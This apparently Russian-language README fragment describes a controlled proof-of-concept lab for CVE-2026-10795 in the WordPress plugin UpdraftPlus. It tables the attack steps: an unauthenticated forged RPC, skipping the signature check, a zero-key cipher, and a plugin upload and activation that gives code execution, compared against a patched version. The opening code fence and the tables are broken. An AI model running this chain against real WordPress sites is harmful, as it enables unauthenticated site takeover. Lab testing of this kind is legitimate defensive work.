Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text unauthenticated forged RPC
## Ссылки
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* База данных уязвимостей Wordfence: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* База данных Patchstack: UpdraftPlus
https://patchstack.com/database/
* Плагин WordPress.org: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* SVN плагина WordPress.org
https://plugins.svn.wordpress.org/updraftplus/
* Теги SVN плагина WordPress.org
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Памятка по аутентификации
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Руководство по тестированию безопасности веб-приложений
https://owasp.org/www-project-web-security-testing-guide/
| Поведение PoC | Тестируемое поведение источника | Ожидаемое в 1.26.4 | Ожидаемое в 1.26.5 |
|---|
Отправка POST с format=1 | Приёмник принимает устаревший формат RPC | Продолжает | Продолжает до исправленной проверки дешифрования |
| Пропуск действительной подписи | Проверка подписи применяется только для format >= 2 | Подпись не требуется | Подпись не требуется для format=1, но позже блокируется |
| Отправка неверного RSA-блока | RSA-дешифрование возвращает неверный симметричный ключ | Неверный ключ попадает в setKey() | Неверный ключ отклоняется |
| Шифрование JSON нулевым ключом/нулевым IV | Моделирует поведение phpseclib после setKey(false) | Дешифруется в валидный JSON | Не дешифруется |
Установка command=ping | Тестирует только обход криптографии и диспетчеризацию | PING DISPATCHED | PING NOT DISPATCHED |
Установка command=plugin.upload_plugin | Вызывает метод загрузки плагина UpdraftCentral | ZIP-файл плагина установлен | Команда не достигнута |
Установка activate=true | Запускает activate_plugin() после установки | Маркерный плагин активен | Маркерный плагин отсутствует |
Запрос /wp-json/cve-lab/v1/id | Проверяет, выполняется ли код маркерного плагина | Возвращает uid=33(www-data) | Возвращает 404 rest_no_route |
| Сервис | Компонент | Версия / Роль |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 уязвимая цель |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 исправленная цель |
vuln_db | MariaDB | База данных для уязвимой цели |
patched_db | MariaDB | База данных для исправленной цели |
vuln_setup | WP-CLI setup service | Устанавливает WordPress, активирует UpdraftPlus, заполняет локальное состояние ключа |
patched_setup | WP-CLI setup service | Устанавливает WordPress, активирует UpdraftPlus, заполняет локальное состояние ключа |